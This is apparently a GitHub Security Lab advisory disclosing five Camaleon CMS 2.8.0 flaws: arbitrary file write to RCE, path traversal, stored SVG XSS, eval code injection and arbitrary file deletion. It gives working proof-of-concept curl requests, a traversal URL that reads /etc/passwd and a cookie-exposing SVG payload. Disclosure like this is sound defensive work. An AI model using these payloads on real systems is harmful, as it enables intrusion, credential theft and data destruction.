Coordinated Disclosure Timeline

Summary

Several vulnerabilities were found in Camaleon CMS. Three vulnerabilities (GHSL-2024-182, GHSL-2024-183, GHSL-2024-184) can be exploited by “normal” authenticated users. Camaleon CMS instances where self-registration is enabled (e.g. to leave comments on posts) are especially endangered by these vulnerabilities.

Project

Camaleon CMS

Tested Version

2.8.0

Details

Issue 1: Arbitrary file write to RCE (GHSL-2024-182)

An arbitrary file write vulnerability accessible via the upload method of the MediaController allows authenticated users to write arbitrary files to any location on the web server Camaleon CMS is running on (depending on the permissions of the underlying filesystem). E.g. This can lead to a delayed remote code execution in case an attacker is able to write a Ruby file into the config/initializers/ subfolder of the Ruby on Rails application.

Once a user upload is started via the upload method, the file_upload and the folder parameter

def upload(settings = {})
  params[:dimension] = nil if params[:skip_auto_crop].present?
  f = { error: 'File not found.' }
  if params[:file_upload].present?
    f = upload_file(params[:file_upload],
                    { folder: params[:folder], dimension: params['dimension'], formats: params[:formats], versions: params[:versions],
                      thumb_size: params[:thumb_size] }.merge(settings))
  end
  [..]
end

are passed to the upload_file method. Inside that method the given settings are merged with some presets. The file format is checked against the formats settings we can override with the formats parameters.

# formats validations
  return { error: "#{ct('file_format_error')} (#{settings[:formats]})" } unless cama_uploader.class.validate_file_format(
    uploaded_io.path, settings[:formats]
 )

Our given folder is then passed unchecked to the Cama_uploader:

key = File.join(settings[:folder], settings[:filename]).to_s.cama_fix_slash
res = cama_uploader.add_file(settings[:uploaded_io], key, { same_name: settings[:same_name] })

In the add_file method of CamaleonCmsLocalUploader this key argument containing the unchecked path is then used to write the file to the file system:

def add_file(uploaded_io_or_file_path, key, args = {})
  [..]
  upload_io = uploaded_io_or_file_path.is_a?(String) ? File.open(uploaded_io_or_file_path) : uploaded_io_or_file_path
  File.open(File.join(@root_folder, key), 'wb') { |file| file.write(upload_io.read) }
  [..]
end

Proof of concept

Precondition: A valid account of a registered user is required. (The values for auth_token and _cms_session need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \
 -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary80dMC9jX3srWAsga' -H $'Accept: */*' -H $'Connection: keep-alive' \
    -b $'auth_token=[..]; _cms_session=[..]' \
    --data-binary $'------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"file_upload\"; filename=\"test.rb\"\x0d\x0aContent-Type: text/x-ruby-script\x0d\x0a\x0d\x0aputs \"=================================\"\x0aputs \"=================================\"\x0aputs \"= COMPROMISED                   =\"\x0aputs \"=================================\"\x0aputs \"=================================\"\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"folder\"\x0d\x0a\x0d\x0a../../../config/initializers/\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga\x0d\x0aContent-Disposition: form-data; name=\"skip_auto_crop\"\x0d\x0a\x0d\x0atrue\x0d\x0a------WebKitFormBoundary80dMC9jX3srWAsga--\x0d\x0a' \
    $'https://<camaleon-host>/admin/media/upload?actions=false'

Note that the upload form field formats was removed so that Camaleon CMS accepts any file. The folder was set to ../../../config/initializers/so that following Ruby script is written into the initializers folder of the Rails web app:

puts "================================="
puts "================================="
puts "= COMPROMISED                   ="
puts "================================="
puts "================================="

Once Camaleon CMS is restarted following output will be visible in the log:

=================================
=================================
= COMPROMISED                   =
=================================
=================================

Impact

This issue may lead up to Remote Code Execution (RCE) via arbitrary file write.

See also:

Issue 2: Arbitrary path traversal (GHSL-2024-183)

A path traversal vulnerability accessible via MediaController’s download_private_file method allows authenticated users to download any file on the web server Camaleon CMS is running on (depending on the file permissions).

In the download_private_file method:

def download_private_file
  cama_uploader.enable_private_mode!

  file = cama_uploader.fetch_file("private/#{params[:file]}")

  send_file file, disposition: 'inline'
end

The file parameter is passed to the fetch_file method of the CamaleonCmsLocalUploader class (when files are uploaded locally):

def fetch_file(file_name)
  raise ActionController::RoutingError, 'File not found' unless file_exists?(file_name)

  file_name
end

If the file exists it’s passed back to the download_private_file method where the file is sent to the user via send_file.

Proof of concept

An authenticated user can download the /etc/passwd file by visiting an URL such as:

https://<camaleon-host>/admin/media/download_private_file?file=../../../../../../etc/passwd

Impact

This issue may lead to Information Disclosure.

See also:

Issue 3: Stored XSS through user file upload (GHSL-2024-184)

A stored cross-site scripting has been found in the image upload functionality that can be used by normal registered users: It is possible to upload a SVG image containing JavaScript and it’s also possible to upload a HTML document when the format parameter is manually changed to documents or a string of an unsupported format. If an authenticated user or administrator visits that uploaded image or document malicious JavaScript can be executed on their behalf (e.g. changing or deleting content inside of the CMS.)

Proof of concept

  1. Login as normal user (if user signup is enabled).
  2. Go to the user’s profile.
  3. And upload following profile picture via drag and drop.

The content of the SVG file could be as follows (e.g. name it test-xss.svg):

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   width="500"
   height="500"
   viewBox="0 0 198.4375 52.916666"
   version="1.1">
  <g
     transform="translate(-9.8676114,4.8833333)">
    <path
       d="m 107.79557,-10.430538 -7.33315,-0.02213 -3.647402,-6.361755 3.685742,-6.339624 7.33314,0.02213 3.64741,6.361756 z"
       style="fill:#131f6b;fill-opacity:1;stroke-width:0.05937638"
       transform="scale(1,-1)" />
  <!-- The below lines were added in a text editor to the image XML. This is the stored XSS attack. -->
  <script type="text/javascript">
    alert("This is an example of a stored XSS attack in an SVG image, here's the cookie: " + document.cookie);
  </script>
  </g>
</svg>

The server might fail with a 500 internal server error, but the uploaded image should be available at a location like https://<camaleon-host>/media/1/test-xss-cookie.svg. If an authenticated user or administrator accesses that link their auth_token is reflected. Since the auth_token cookie contains a static auth token value that only changes when a user changes their password.

Impact

This issue may lead to account takeover due to reflected Cross-site scripting (XSS).

Issue 4: Remote code execution through code injection (GHSL-2024-185)

The pages rendering custom fields contain a hidden feature called label evaluation, that can be enabled when creating custom field groups. If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they can execute arbitrary Ruby code on the server hosting Camaleon CMS.

If the (hidden) custom field option label_eval was set when creating the custom field form, the text of the label is evaluated when it’s rendered:

<%= field.options[:label_eval].present? ? eval(field.name) : field.name %>
 [..]
<% if field.description.present? %>
    <p><small><%= field.options[:label_eval].present? ? eval(field.description) : field.description %></small></p>
<% end  %>

Proof of concept

A sample request that enables label_eval could look like this. However, custom field IDs would be different. (The values for auth_token, authenticity_token and _cms_session would also need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \
     -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0' -H $'Connection: keep-alive' \
    -b $'auth_token=[..]; _cms_session=[..]' \
    --data-binary $'_method=patch&authenticity_token=[..]&custom_field_group%5Bname%5D=Test&custom_field_group%5Bis_repeat%5D=0&custom_field_group%5Bdescription%5D=group&custom_field_group%5Bassign_group%5D=User%2C1&custom_field_group%5Bcaption%5D=undefined%3A+&fields%5B12_1722949310_19598%5D%5Bid%5D=12&field_options%5B12_1722949310_19598%5D%5Bfield_key%5D=text_box&field_options%5B12_1722949310_19598%5D%5Blabel_eval%5D=true&field_options%5B12_1722949310_19598%5D%5Bpanel_hidden%5D=&fields%5B12_1722949310_19598%5D%5Bname%5D=puts+%22----eval+in+field1+name%22&fields%5B12_1722949310_19598%5D%5Bslug%5D=untitled-text-box-0&fields%5B12_1722949310_19598%5D%5Bdescription%5D=puts+%22----eval+in+field1+description%22&field_options%5B12_1722949310_19598%5D%5Bdefault_value%5D=&field_options%5B12_1722949310_19598%5D%5Bmultiple%5D=0&field_options%5B12_1722949310_19598%5D%5Brequired%5D=0&field_options%5B12_1722949310_19598%5D%5Btranslate%5D=0' \
    $'https://<camaleon-host>/admin/settings/custom_fields/11'

The main part of this proof of concept is that label_eval is set to true and a field name and description are set to Ruby code (puts "----eval in ..."):

field_options%5B12_1722949310_19598%5D%5Blabel_eval%5D=true&
fields%5B12_1722949310_19598%5D%5Bname%5D=puts+%22----eval+in+field1+name%22&
fields%5B12_1722949310_19598%5D%5Bdescription%5D=puts+%22----eval+in+field1+description%22&

When the page(s) where this custom fields are rendered are viewed following lines will be written to the standard out of the running Ruby on Rails application:

----eval in field1 name
----eval in field2 description

Impact

This issue may lead to Remote Code Execution (RCE).

Issue 5: Arbitrary file delete (GHSL-2024-186)

The actions defined inside of the MediaController class do not check whether a given path is inside a certain path (e.g. inside the media folder). If an attacker performed an account takeover of an administrator account (See: GHSL-2024-184) they could delete arbitrary files or folders on the server hosting Camaleon CMS. The crop_url action might make arbitrary file writes (similar impact to GHSL-2024-182) for any authenticated user possible, but the underlying feature doesn’t seem to work currently, which prevents its exploitation.

Arbitrary file deletion can be exploited with following code path: The parameter folder flows from the actions method:

  def actions
    authorize! :manage, :media if params[:media_action] != 'crop_url'
    params[:folder] = params[:folder].gsub('//', '/') if params[:folder].present?
    case params[:media_action]
    [..]
    when 'del_file'
      cama_uploader.delete_file(params[:folder].gsub('//', '/'))
      render plain: ''

into the method delete_file of the CamaleonCmsLocalUploader class (when files are uploaded locally):

def delete_file(key)
  file = File.join(@root_folder, key)
  FileUtils.rm(file) if File.exist? file
  @instance.hooks_run('after_delete', key)
  get_media_collection.find_by_key(key).take.destroy
end

Where it is joined in unchecked manner with the root folder and then deleted.

Proof of concept

The following request would delete the file README.md in the top folder of the Ruby on Rails application. (The values for auth_token, X-CSRF-Token and _cms_session would also need to be replaced with authenticated values in the curl command below)

curl --path-as-is -i -s -k -X $'POST' \
    -H $'X-CSRF-Token: [..]' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Accept: */*' -H $'Connection: keep-alive' \
    -b $'auth_token=[..]; _cms_session=[..]' \
    --data-binary $'versions=&thumb_size=&formats=&media_formats=&dimension=&private=&folder=..%2F..%2F..%2FREADME.md&media_action=del_file' \
    $'https://<camaleon-host>/admin/media/actions?actions=true'

Impact

This issue may lead to a defective CMS or system.

See also:

CVE

Credit

These issues were discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-182, GHSL-2024-183, GHSL-2024-184, GHSL-2024-185, or GHSL-2024-186 in any communication regarding these issues.